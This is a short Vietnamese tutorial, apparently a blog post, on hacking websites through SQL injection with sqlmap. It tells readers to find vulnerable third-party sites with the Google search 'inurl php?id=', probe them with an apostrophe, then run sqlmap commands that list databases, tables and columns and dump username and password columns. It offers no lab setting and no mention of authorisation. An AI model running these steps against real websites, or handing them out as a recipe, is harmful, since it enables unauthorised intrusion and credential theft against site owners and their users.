SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server.
A. Chuẩn bị
1 OS bất kì đang cài Python 2.7 (Kali Linux đã có sẵn cái này)
SQLMAP download tại https://github.com/sqlmapproject/sqlmap (Kali Linux cũng đã có sẵn cái này
B. Tìm 1 trang lỗi SQL Injection bất kì trên Google bằng cách tìm kiếm với từ khóa inurl php?id=
B1: Mình thu được 1 trang dạng http://www.abc.com/product.php?id=200
B2: Thêm 1 dấu ‘ vào cuối địa chỉ và coi xem chuyện gì xảy ra. Nếu giao diện trang bị thay đổi hoặc hiện lỗi như hình thì 80% trang đó bị SQL Injection
B3: Mở sqlmap lên và gõ câu lệnh sau để liệt kê danh sách các database
python sqlmap.py -u http://www.abc.edu.vn/index.php?id=320 –dbs
Sau khi list ra tất cả các Database thì các bạn bỏ qua database information_schema nhé. Ở đây Database của trang web là database đang được gạch đỏ
B2: Tiến hành trích xuất các bảng trong Database bằng lệnh
python sqlmap.py -u http://www.abc.vn/index.php?id=320 -D tên database –tables
B3: Lựa chọn 1 tables mà bạn cần trích xuất thông tin trong đó, sau đó xài lệnh sau để List ra các cột trong đó
python sqlmap.py -u http://www.abc.vn/index.php?id=320 -D tên database -T tên bảng –columns
Dễ thấy có 2 cột mà chúng ta cần trích xuất đó là cột username/password.
B4: Trích xuất cột username bằng lệnh
python sqlmap.py -u http://www.abc.vn/index.php?id=320 -D tên database -T tên bảng -C tên cột –dump
B5: Trích xuất Password cũng bằng câu lệnh tương tự
python sqlmap.py -u http://www.abc.vn/index.php?id=320 -D tên database -T tên bảng -C tên cột –dump
Views: 7506